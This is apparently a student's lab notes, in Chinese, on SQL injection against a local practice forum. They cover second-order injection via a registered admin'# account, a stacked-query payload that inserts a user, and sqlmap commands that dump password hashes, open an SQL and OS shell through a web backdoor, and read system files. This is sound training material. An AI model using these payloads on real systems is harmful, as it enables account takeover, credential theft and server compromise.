2-03SQL注入漏洞------------2

二次盲注

⼆次注⼊是指已存储(数据库、⽂件)的⽤户输⼊被读取后,再次进⼊到SQL查询语句中导致 的注⼊

几乎所有任何网站后台都有一个用户叫admin 密码123456 先注册一个新的用户

admin-123456

碰撞用户账户

-刺探成功

我自己去注册一个 admin'#

登录admin'#,然后修改密码--记一下改后的是456789

-这是之前 刷新后,改变的是admin的密码,admin'#没有变

查看原因

源码 \bbs\member\updatePwd.php

bash 复制代码
update users set password=md5('123456')wherename='admin'#'

简单来说就是sql的数据库语法 注释掉后面的内容 比如# 还有一个--也是

堆叠注入

在SQL数据库中,每条语句是以;分开的,堆叠注⼊就是⼀次性注⼊并执⾏多条语句(多语句之间以分号 隔开)的注⼊⽅式。(故事:地铁出站套票⼀次性进两个⼈)

union联合查询注⼊执⾏的语句类型是有限的,可以⽤来执⾏查询语句。堆叠注⼊可以执⾏的是任意的语句,如增删改等

要堆叠,知道那个表结构用前面知识点获取表名字段名

然后

sql 复制代码
?id=2;insert into users (name,password) values('ddd',md5('ddd'));

堆叠不止 insert 还有delete 还有update

SQLMap

sqlmap是⼀个开源的渗透测试⼯具,它可以⾃动化检测和利⽤SQL注⼊漏洞并接管数据库服务器。它有 ⼀个强⼤的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项 如果平时要探测bbs这个网站 这不得看看自己物理机ip

##SQLMap检测漏洞--探测目标网站有没有sql注入漏洞

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1'

有这些东西 就代表着这些东西漏洞都是存在的--PHP具体版本 Apache

查询bbs网站当前数据库;当前数据库 --current-db

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --current-db

查看bbs网站的库有哪些表

kali 复制代码
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt --tables

当前表有哪些字段 列

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users --columns

列出内容

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users -C password --dump#卡住的话不停的敲回⻋输⼊y

过程就是y到底,有一个选择字典,直接回车就行,然后在努力哈希破解

和老师的不太一样 但是 无所谓了先 得到那些密码

可以后期自己哈希解去 第三个解的很慢是因为我前面 做堆叠的时候改了admin的密码456789

老师的就长这样

扩展操作

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --sql-shell

退出语句

密码爆破

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --password

系统命令

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --os-shell

该靶机的 web 应用技术是PHP 5.4.45,选择与当前 web 语言匹配的 "PHP" 选项,才能成功创建 web 后门并获取操作系统命令行 shell。

文件读取

出了问题

成功版本👇我把这个文件名称改了一下就行了,疑似第一次创的时候带入了奇怪字符或者电脑缓存没到位

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt"

中间做的努力有

先执行基础注入命令,确认id参数确实存在 SQL 注入漏洞,避免在无效注入点上尝试高权限操作

lua 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --dbs

然后得出

添加-v 3参数(详细输出执行过程),sqlmap 会显示文件读取过程中的具体错误(如「权限不足」「路径被禁止」),方便定位问题

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt" -v 3

得出

放弃自定义的e.txt,先尝试读取靶机系统默认存在、且权限宽松的文件,验证文件读取功能是否可用:

bash 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "C:/Windows/win.ini"

文件读取功能本身是正常的(因为成功读到了C:/Windows/win.ini),问题只出在「靶机上的E:/e.txt实际不存在 / 路径错误」

具体分析如下: 能成功读取靶机的C:/Windows/win.ini,说明:

  • 数据库用户有FILE权限
  • secure_file_priv配置无限制
  • 操作系统层面的文件读取权限正常 所以改了个名字成功了

回归主题

返回让我访问这个文件的内容

'/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt'

文件路径有了

bash 复制代码
cat '/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt' 

WAF安全狗

不要再物理机上装安全狗,会拖垮php, 卸载不掉就先这样吧

相关推荐
编程彩机17 小时前
互联网大厂Java面试:从Java SE到大数据场景的技术深度解析
java·大数据·spring boot·面试·spark·java se·互联网大厂
岁岁种桃花儿1 天前
SpringCloud超高质量面试高频题300道题
spring·spring cloud·面试
努力学算法的蒟蒻1 天前
day75(2.3)——leetcode面试经典150
面试·职场和发展
南风知我意9571 天前
【前端面试3】初中级难度
前端·javascript·面试
华清远见成都中心1 天前
GPIO(通用输入输出)面试中高频问题
单片机·面试·职场和发展
蒹葭玉树1 天前
【C++上岸】C++常见面试题目--操作系统篇(第三十期)
c++·面试·risc-v
cyforkk1 天前
16、Java 基础硬核复习:网络编程的核心逻辑与面试考点
java·网络·面试
Bella的成长园地2 天前
面试中关于 c++ async 的高频面试问题有哪些?
c++·面试
Abona2 天前
C语言嵌入式全栈Demo
linux·c语言·面试
她说..2 天前
策略模式+工厂模式实现审批流(面试问答版)
java·后端·spring·面试·springboot·策略模式·javaee